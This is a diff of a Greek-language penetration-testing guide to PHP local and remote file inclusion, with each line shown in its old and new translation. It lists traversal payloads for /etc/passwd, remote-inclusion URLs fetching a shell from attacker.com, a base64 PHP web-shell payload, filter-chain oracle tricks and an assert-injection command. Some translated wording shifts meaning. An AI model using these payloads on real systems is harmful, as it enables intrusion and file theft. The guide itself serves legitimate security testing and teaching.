11. **Προστασία σε Χρόνο Εκτέλεσης**: Εφαρμόστε μηχανισμούς προστασίας σε χρόνο εκτέλεσης, όπως η χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης του πρωτοτύπου. 11. **Προστασία Χρόνου Εκτέλεσης**: Εφαρμόστε μηχανισμούς προστασίας χρόνου εκτέλεσης, όπως η χρήση πακέτων npm που εστιάζουν στην ασφάλεια και μπορούν να ανιχνεύσουν και να αποτρέψουν επιθέσεις μόλυνσης του πρωτοτύπου.
## Αναφορές ## Αναφορές

View File

@ -9,7 +9,7 @@
Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή. Η ευπάθεια εμφανίζεται όταν ο χρήστης μπορεί να ελέγξει με κάποιον τρόπο το αρχείο που πρόκειται να φορτωθεί από τον διακομιστή.
Ευάλωτες **PHP συναρτήσεις**: require, require_once, include, include_once Ευάλωτες **PHP functions**: require, require_once, include, include_once
Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap) Ένα ενδιαφέρον εργαλείο για την εκμετάλλευση αυτής της ευπάθειας: [https://github.com/kurobeats/fimap](https://github.com/kurobeats/fimap)
@ -19,9 +19,11 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
``` ```
### **Linux** ### **Linux**
**Συνδυάζοντας αρκετές λίστες LFI \*nix και προσθέτοντας περισσότερους διαδρομές, δημιούργησα αυτήν:** **Συνδυάζοντας αρκετές λίστες LFI από \*nix και προσθέτοντας περισσότερους διαδρομές, δημιούργησα αυτήν:**
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_linux.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε το `/` με `\`\ Δοκιμάστε επίσης να αλλάξετε το `/` με `\`\
Δοκιμάστε επίσης να προσθέσετε `../../../../../` Δοκιμάστε επίσης να προσθέσετε `../../../../../`
@ -32,7 +34,9 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
Συγχώνευση διαφορετικών λιστών: Συγχώνευση διαφορετικών λιστών:
{% embed url="https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt" %} {{#ref}}
https://github.com/carlospolop/Auto_Wordlists/blob/main/wordlists/file_inclusion_windows.txt
{{#endref}}
Δοκιμάστε επίσης να αλλάξετε το `/` με `\`\ Δοκιμάστε επίσης να αλλάξετε το `/` με `\`\
Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../` Δοκιμάστε επίσης να αφαιρέσετε το `C:/` και να προσθέσετε `../../../../../`
@ -43,7 +47,7 @@ wfuzz -c -w ./lfi2.txt --hw 0 http://10.10.10.10/nav.php?page=../../../../../../
Ελέγξτε τη λίστα LFI του linux. Ελέγξτε τη λίστα LFI του linux.
## Basic LFI and bypasses ## Βασικό LFI και παρακάμψεις
Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion (σελίδα=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>). Όλα τα παραδείγματα είναι για Local File Inclusion αλλά θα μπορούσαν να εφαρμοστούν και σε Remote File Inclusion (σελίδα=[http://myserver.com/phpshellcode.txt\\](<http://myserver.com/phpshellcode.txt)/>).
``` ```
@ -80,7 +84,7 @@ http://example.com/index.php?page=utils/scripts/../../../../../etc/passwd
``` ```
### Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή ### Εξερεύνηση Καταλόγων Συστήματος Αρχείων σε έναν Διακομιστή
Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την έρευνα για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό: Το σύστημα αρχείων ενός διακομιστή μπορεί να εξερευνηθεί αναδρομικά για να εντοπιστούν κατάλογοι, όχι μόνο αρχεία, χρησιμοποιώντας ορισμένες τεχνικές. Αυτή η διαδικασία περιλαμβάνει τον προσδιορισμό του βάθους του καταλόγου και την αναζήτηση για την ύπαρξη συγκεκριμένων φακέλων. Παρακάτω παρατίθεται μια λεπτομερής μέθοδος για να το επιτύχετε αυτό:
1. **Προσδιορίστε το Βάθος του Καταλόγου:** Διαπιστώστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την εξής δομή, υποδεικνύοντας βάθος τριών: 1. **Προσδιορίστε το Βάθος του Καταλόγου:** Διαπιστώστε το βάθος του τρέχοντος καταλόγου σας ανακτώντας επιτυχώς το αρχείο `/etc/passwd` (ισχύει αν ο διακομιστής είναι βασισμένος σε Linux). Ένα παράδειγμα URL μπορεί να έχει την εξής δομή, υποδεικνύοντας βάθος τριών:
```bash ```bash
@ -93,15 +97,15 @@ http://example.com/index.php?page=private/../../../../etc/passwd # depth of 3+1=
3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει: 3. **Ερμηνεία των Αποτελεσμάτων:** Η απάντηση του διακομιστή υποδεικνύει αν ο φάκελος υπάρχει:
- **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία. - **Σφάλμα / Χωρίς Έξοδο:** Ο φάκελος `private` πιθανότατα δεν υπάρχει στην καθορισμένη τοποθεσία.
- **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται. - **Περιεχόμενα του `/etc/passwd`:** Η παρουσία του φακέλου `private` επιβεβαιώνεται.
4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποκαταλόγους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI). 4. **Αναδρομική Εξερεύνηση:** Οι ανακαλυφθέντες φάκελοι μπορούν να εξερευνηθούν περαιτέρω για υποφακέλους ή αρχεία χρησιμοποιώντας την ίδια τεχνική ή παραδοσιακές μεθόδους Local File Inclusion (LFI).
Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων κατάλογος είναι σε βάθος 3), χρησιμοποιήστε: Για την εξερεύνηση καταλόγων σε διαφορετικές τοποθεσίες στο σύστημα αρχείων, προσαρμόστε το payload αναλόγως. Για παράδειγμα, για να ελέγξετε αν το `/var/www/` περιέχει έναν φάκελο `private` (υποθέτοντας ότι ο τρέχων φάκελος είναι σε βάθος 3), χρησιμοποιήστε:
```bash ```bash
http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
``` ```
### **Τεχνική Τραυματισμού Διαδρομής** ### **Τεχνική Τραβήγματος Διαδρομής**
Ο τραυματισμός διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο. Το τραβήγματος διαδρομής είναι μια μέθοδος που χρησιμοποιείται για να χειριστεί διαδρομές αρχείων σε διαδικτυακές εφαρμογές. Συχνά χρησιμοποιείται για να αποκτήσει πρόσβαση σε περιορισμένα αρχεία παρακάμπτοντας ορισμένα μέτρα ασφαλείας που προσθέτουν επιπλέον χαρακτήρες στο τέλος των διαδρομών αρχείων. Ο στόχος είναι να δημιουργηθεί μια διαδρομή αρχείου που, αφού τροποποιηθεί από το μέτρο ασφαλείας, να δείχνει ακόμα στο επιθυμητό αρχείο.
Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα: Στην PHP, διάφορες αναπαραστάσεις μιας διαδρομής αρχείου μπορούν να θεωρηθούν ισοδύναμες λόγω της φύσης του συστήματος αρχείων. Για παράδειγμα:
@ -109,7 +113,7 @@ http://example.com/index.php?page=../../../var/www/private/../../../etc/passwd
- Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο. - Όταν οι τελευταίοι 6 χαρακτήρες είναι `passwd`, η προσθήκη ενός `/` (κάνοντάς το `passwd/`) δεν αλλάζει το στοχευόμενο αρχείο.
- Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται. - Ομοίως, αν προστεθεί `.php` σε μια διαδρομή αρχείου (όπως `shellcode.php`), η προσθήκη ενός `/.` στο τέλος δεν θα αλλάξει το αρχείο που προσπελάζεται.
Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε τον τραυματισμό διαδρομής για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη): Τα παραδείγματα που παρέχονται δείχνουν πώς να χρησιμοποιήσετε το τραβήγματος διαδρομής για να αποκτήσετε πρόσβαση στο `/etc/passwd`, έναν κοινό στόχο λόγω του ευαίσθητου περιεχομένου του (πληροφορίες λογαριασμού χρήστη):
``` ```
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE].... http://example.com/index.php?page=a/../../../../../../../../../etc/passwd......[ADD MORE]....
http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././. http://example.com/index.php?page=a/../../../../../../../../../etc/passwd/././.[ADD MORE]/././.
@ -123,9 +127,9 @@ http://example.com/index.php?page=a/../../../../[ADD MORE]../../../../../etc/pas
- **Χρήση Τμημάτων Τελείας και Πρόσθετων Χαρακτήρων**: Οι ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή. - **Χρήση Τμημάτων Τελείας και Πρόσθετων Χαρακτήρων**: Οι ακολουθίες διασχίσεων (`../`) σε συνδυασμό με επιπλέον τμήματα τελείας και χαρακτήρες μπορούν να χρησιμοποιηθούν για να πλοηγηθούν στο σύστημα αρχείων, αγνοώντας αποτελεσματικά τις προσαρτημένες συμβολοσειρές από τον διακομιστή.
- **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στην ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη. - **Καθορισμός του Απαιτούμενου Αριθμού Διασχίσεων**: Μέσω δοκιμών και λαθών, μπορεί κανείς να βρει τον ακριβή αριθμό των ακολουθιών `../` που απαιτούνται για να πλοηγηθεί στην ριζική καταχώρηση και στη συνέχεια στο `/etc/passwd`, διασφαλίζοντας ότι οποιεσδήποτε προσαρτημένες συμβολοσειρές (όπως `.php`) εξουδετερώνονται αλλά η επιθυμητή διαδρομή (`/etc/passwd`) παραμένει ανέπαφη.
- **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομών του διακομιστή. - **Ξεκινώντας με έναν Ψεύτικο Κατάλογο**: Είναι κοινή πρακτική να ξεκινά η διαδρομή με έναν ανύπαρκτο κατάλογο (όπως `a/`). Αυτή η τεχνική χρησιμοποιείται ως προληπτικό μέτρο ή για να εκπληρώσει τις απαιτήσεις της λογικής ανάλυσης διαδρομής του διακομιστή.
Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομών, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομών του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος. Όταν χρησιμοποιούνται τεχνικές περικοπής διαδρομής, είναι κρίσιμο να κατανοηθεί η συμπεριφορά ανάλυσης διαδρομής του διακομιστή και η δομή του συστήματος αρχείων. Κάθε σενάριο μπορεί να απαιτεί διαφορετική προσέγγιση, και οι δοκιμές είναι συχνά απαραίτητες για να βρεθεί η πιο αποτελεσματική μέθοδος.
**Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.** **Αυτή η ευπάθεια διορθώθηκε στο PHP 5.3.**
@ -139,12 +143,12 @@ http://example.com/index.php?page=PhP://filter
``` ```
## Remote File Inclusion ## Remote File Inclusion
Στο php αυτό είναι απενεργοποιημένο από προεπιλογή επειδή το **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE: Στο php αυτό είναι απενεργοποιημένο από προεπιλογή γιατί **`allow_url_include`** είναι **Απενεργοποιημένο.** Πρέπει να είναι **Ενεργοποιημένο** για να λειτουργήσει, και σε αυτή την περίπτωση θα μπορούσατε να συμπεριλάβετε ένα αρχείο PHP από τον διακομιστή σας και να αποκτήσετε RCE:
```python ```python
http://example.com/index.php?page=http://atacker.com/mal.php http://example.com/index.php?page=http://atacker.com/mal.php
http://example.com/index.php?page=\\attacker.com\shared\mal.php http://example.com/index.php?page=\\attacker.com\shared\mal.php
``` ```
Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο data με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE: Αν για κάποιο λόγο **`allow_url_include`** είναι **On**, αλλά το PHP **φιλτράρει** την πρόσβαση σε εξωτερικές ιστοσελίδες, [σύμφωνα με αυτή την ανάρτηση](https://matan-h.com/one-lfi-bypass-to-rule-them-all-using-base64/), θα μπορούσατε να χρησιμοποιήσετε για παράδειγμα το πρωτόκολλο δεδομένων με base64 για να αποκωδικοποιήσετε έναν κωδικό PHP b64 και να αποκτήσετε RCE:
``` ```
PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt PHP://filter/convert.base64-decode/resource=data://plain/text,PD9waHAgc3lzdGVtKCRfR0VUWydjbWQnXSk7ZWNobyAnU2hlbGwgZG9uZSAhJzsgPz4+.txt
``` ```
@ -167,9 +171,9 @@ os.path.join(os.getcwd(), "public", file_name)
os.path.join(os.getcwd(), "public", "/etc/passwd") os.path.join(os.getcwd(), "public", "/etc/passwd")
'/etc/passwd' '/etc/passwd'
``` ```
Είναι η προγραμματισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join): Είναι η προορισμένη συμπεριφορά σύμφωνα με [the docs](https://docs.python.org/3.10/library/os.path.html#os.path.join):
> Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η ένωση συνεχίζεται από το συστατικό της απόλυτης διαδρομής. > Αν ένα συστατικό είναι απόλυτη διαδρομή, όλα τα προηγούμενα συστατικά απορρίπτονται και η σύνδεση συνεχίζεται από το συστατικό της απόλυτης διαδρομής.
## Java Λίστα Καταλόγων ## Java Λίστα Καταλόγων
@ -222,10 +226,10 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
- `convert.base64-decode` - `convert.base64-decode`
- `convert.quoted-printable-encode` - `convert.quoted-printable-encode`
- `convert.quoted-printable-decode` - `convert.quoted-printable-decode`
- `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση(`convert.iconv.<input_enc>.<output_enc>`). Για να αποκτήσετε τη **λίστα όλων των υποστηριζόμενων κωδικοποιήσεων** εκτελέστε στην κονσόλα: `iconv -l` - `convert.iconv.*` : Μετατρέπει σε διαφορετική κωδικοποίηση (`convert.iconv.<input_enc>.<output_enc>`). Για να αποκτήσετε τη **λίστα όλων των υποστηριζόμενων κωδικοποιήσεων** εκτελέστε στην κονσόλα: `iconv -l`
> [!WARNING] > [!WARNING]
> Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες δείτε [**LFI2RCE μέσω φίλτρων php**](lfi2rce-via-php-filters.md). > Καταχρώντας το φίλτρο μετατροπής `convert.iconv.*` μπορείτε να **δημιουργήσετε αυθαίρετο κείμενο**, το οποίο θα μπορούσε να είναι χρήσιμο για να γράψετε αυθαίρετο κείμενο ή να κάνετε μια λειτουργία όπως η συμπερίληψη αυθαίρετου κειμένου. Για περισσότερες πληροφορίες ελέγξτε [**LFI2RCE via php filters**](lfi2rce-via-php-filters.md).
- [Compression Filters](https://www.php.net/manual/en/filters.compression.php) - [Compression Filters](https://www.php.net/manual/en/filters.compression.php)
- `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες) - `zlib.deflate`: Συμπιέζει το περιεχόμενο (χρήσιμο αν εξάγετε πολλές πληροφορίες)
@ -234,7 +238,7 @@ os.path.join(os.getcwd(), "public", "/etc/passwd")
- `mcrypt.*` : Απαρχαιωμένο - `mcrypt.*` : Απαρχαιωμένο
- `mdecrypt.*` : Απαρχαιωμένο - `mdecrypt.*` : Απαρχαιωμένο
- Άλλα Φίλτρα - Άλλα Φίλτρα
- Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **αναπάντεχα φίλτρα**: - Εκτελώντας στο php `var_dump(stream_get_filters());` μπορείτε να βρείτε μερικά **αναμενόμενα φίλτρα**:
- `consumed` - `consumed`
- `dechunk`: αναστρέφει την κωδικοποίηση HTTP chunked - `dechunk`: αναστρέφει την κωδικοποίηση HTTP chunked
- `convert.*` - `convert.*`
@ -269,25 +273,25 @@ readfile('php://filter/zlib.inflate/resource=test.deflated'); #To decompress the
### Χρησιμοποιώντας φίλτρα php ως oracle για να διαβάσετε αυθαίρετα αρχεία ### Χρησιμοποιώντας φίλτρα php ως oracle για να διαβάσετε αυθαίρετα αρχεία
[**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε μια **boolean εξαγωγή του αρχείου (χαρακτήρας προς χαρακτήρα) χρησιμοποιώντας φίλτρα php** ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php. [**Σε αυτή την ανάρτηση**](https://www.synacktiv.com/publications/php-filter-chains-file-read-from-error-based-oracle) προτείνεται μια τεχνική για να διαβάσετε ένα τοπικό αρχείο χωρίς να έχετε την έξοδο που επιστρέφεται από τον διακομιστή. Αυτή η τεχνική βασίζεται σε **boolean exfiltration του αρχείου (char by char) χρησιμοποιώντας φίλτρα php** ως oracle. Αυτό συμβαίνει επειδή τα φίλτρα php μπορούν να χρησιμοποιηθούν για να κάνουν ένα κείμενο αρκετά μεγάλο ώστε να προκαλέσει μια εξαίρεση από το php.
Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη: Στην αρχική ανάρτηση μπορείτε να βρείτε μια λεπτομερή εξήγηση της τεχνικής, αλλά εδώ είναι μια γρήγορη περίληψη:
- Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά. - Χρησιμοποιήστε τον κωδικοποιητή **`UCS-4LE`** για να αφήσετε τον αρχικό χαρακτήρα του κειμένου στην αρχή και να κάνετε το μέγεθος της συμβολοσειράς να αυξάνεται εκθετικά.
- Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**. - Αυτό θα χρησιμοποιηθεί για να παραχθεί ένα **κείμενο τόσο μεγάλο όταν η αρχική γράμμα μαντεύεται σωστά** ώστε το php να προκαλέσει ένα **σφάλμα**.
- Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός. - Το φίλτρο **dechunk** θα **αφαιρέσει τα πάντα αν ο πρώτος χαρακτήρας δεν είναι εξαγωνικός**, έτσι μπορούμε να ξέρουμε αν ο πρώτος χαρακτήρας είναι εξαγωνικός.
- Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετασχηματισμούς ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php. - Αυτό, σε συνδυασμό με το προηγούμενο (και άλλα φίλτρα ανάλογα με το μαντεμένο γράμμα), θα μας επιτρέψει να μαντέψουμε ένα γράμμα στην αρχή του κειμένου βλέποντας πότε κάνουμε αρκετές μετατροπές ώστε να μην είναι πλέον εξαγωνικός χαρακτήρας. Επειδή αν είναι εξαγωνικός, το dechunk δεν θα το διαγράψει και η αρχική βόμβα θα προκαλέσει σφάλμα στο php.
- Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: α -> β). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `α` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή α->β->γ->δ->ε->ζ->η το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα. - Ο κωδικοποιητής **convert.iconv.UNICODE.CP930** μετατρέπει κάθε γράμμα στο επόμενο (έτσι μετά από αυτόν τον κωδικοποιητή: a -> b). Αυτό μας επιτρέπει να ανακαλύψουμε αν το πρώτο γράμμα είναι ένα `a` για παράδειγμα, επειδή αν εφαρμόσουμε 6 από αυτόν τον κωδικοποιητή a->b->c->d->e->f->g το γράμμα δεν είναι πλέον εξαγωνικός χαρακτήρας, επομένως το dechunk δεν το διαγράφει και το σφάλμα php προκαλείται επειδή πολλαπλασιάζεται με την αρχική βόμβα.
- Χρησιμοποιώντας άλλους μετασχηματισμούς όπως **rot13** στην αρχή είναι δυνατό να διαρρεύσουν άλλοι χαρακτήρες όπως ν, ο, π, q, ρ (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών). - Χρησιμοποιώντας άλλες μετατροπές όπως **rot13** στην αρχή είναι δυνατόν να διαρρεύσουν άλλοι χαρακτήρες όπως n, o, p, q, r (και άλλοι κωδικοποιητές μπορούν να χρησιμοποιηθούν για να μετακινήσουν άλλα γράμματα στην περιοχή των εξαγωνικών).
- Όταν ο αρχικός χαρακτήρας είναι αριθμός, είναι απαραίτητο να τον κωδικοποιήσετε σε base64 και να διαρρεύσετε τα 2 πρώτα γράμματα για να διαρρεύσετε τον αριθμό. - Όταν ο αρχικός χαρακτήρας είναι αριθμός, χρειάζεται να τον κωδικοποιήσουμε σε base64 και να διαρρεύσουμε τα 2 πρώτα γράμματα για να διαρρεύσουμε τον αριθμό.
- Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης σειράς όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατό να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου. - Το τελικό πρόβλημα είναι να δούμε **πώς να διαρρεύσουμε περισσότερα από το αρχικό γράμμα**. Χρησιμοποιώντας φίλτρα μνήμης τάξης όπως **convert.iconv.UTF16.UTF-16BE, convert.iconv.UCS-4.UCS-4LE, convert.iconv.UCS-4.UCS-4LE** είναι δυνατόν να αλλάξουμε τη σειρά των χαρακτήρων και να αποκτήσουμε στην πρώτη θέση άλλα γράμματα του κειμένου.
- Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή. - Και προκειμένου να μπορέσουμε να αποκτήσουμε **περισσότερα δεδομένα** η ιδέα είναι να **παράγουμε 2 bytes σκουπιδιών στην αρχή** με **convert.iconv.UTF16.UTF16**, να εφαρμόσουμε **UCS-4LE** για να το **στραφεί με τα επόμενα 2 bytes**, και να **διαγράψουμε τα δεδομένα μέχρι τα σκουπίδια** (αυτό θα αφαιρέσει τα πρώτα 2 bytes του αρχικού κειμένου). Συνεχίστε να το κάνετε αυτό μέχρι να φτάσετε στο επιθυμητό bit για διαρροή.
Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit). Στην ανάρτηση διαρρεύθηκε επίσης ένα εργαλείο για να το εκτελεί αυτό αυτόματα: [php_filters_chain_oracle_exploit](https://github.com/synacktiv/php_filter_chains_oracle_exploit).
### php://fd ### php://fd
Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να εξάγετε το περιεχόμενο των ανοιχτών αρχείων: Αυτή η περιτύλιξη επιτρέπει την πρόσβαση σε περιγραφείς αρχείων που έχει ανοιχτούς η διαδικασία. Πιθανώς χρήσιμο για να διαρρεύσει το περιεχόμενο των ανοιχτών αρχείων:
```php ```php
echo file_get_contents("php://fd/3"); echo file_get_contents("php://fd/3");
$myfile = fopen("/etc/passwd", "r"); $myfile = fopen("/etc/passwd", "r");
@ -399,7 +403,7 @@ assert("strpos('$file', '..') === false") or die("");
```plaintext ```plaintext
' and die(system("id")) or ' ' and die(system("id")) or '
``` ```
Είναι σημαντικό να **URL-encode αυτές τις payloads**. Είναι σημαντικό να **URL-κωδικοποιήσετε αυτά τα payloads**.
## PHP Blind Path Traversal ## PHP Blind Path Traversal
@ -414,7 +418,7 @@ assert("strpos('$file', '..') === false") or die("");
